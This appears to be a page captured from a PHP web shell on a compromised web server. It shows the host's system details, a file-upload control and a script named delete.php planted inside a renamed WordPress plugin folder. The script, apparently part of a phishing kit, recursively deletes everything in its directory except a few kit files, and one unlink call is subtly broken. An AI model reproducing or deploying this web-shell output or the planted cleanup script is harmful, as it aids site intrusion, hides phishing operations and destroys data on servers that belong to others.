HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: /home/httpd/html/stoptube.com/wp-content/plugins/backupwordpress.DISABLED/youu/delete.php
<?php
	$files = glob(getcwd().'/*'); // get all file names
	foreach($files as $file){ // iterate files
	  	if(is_dir($file)) {
			if($file==getcwd().'/en') {
				// do nothing
			}
			else {
				rrmdir($file);
			}
		}
		else if(is_file($file)) {
			if($file==getcwd().'/index.php' || $file==getcwd().'/blocker.php' || $file==getcwd().'/robot.txt' || $file==getcwd().'/delete.php') {
				// do nothing
			}
			else {
				print $file;
	    			unlink(getcwd().'/'.$file); // delete file
			}
		}
	}
	function rrmdir($dir) { 
		if (is_dir($dir)) { 
			$objects = scandir($dir); 
			foreach ($objects as $object) { 
				if ($object != "." && $object != "..") { 
					if (is_dir($dir."/".$object))
						rrmdir($dir."/".$object);
					else
						unlink($dir."/".$object); 
				} 
			}
			rmdir($dir); 
		} 
	}
	print 'All generated folders and files has been deleted';
?>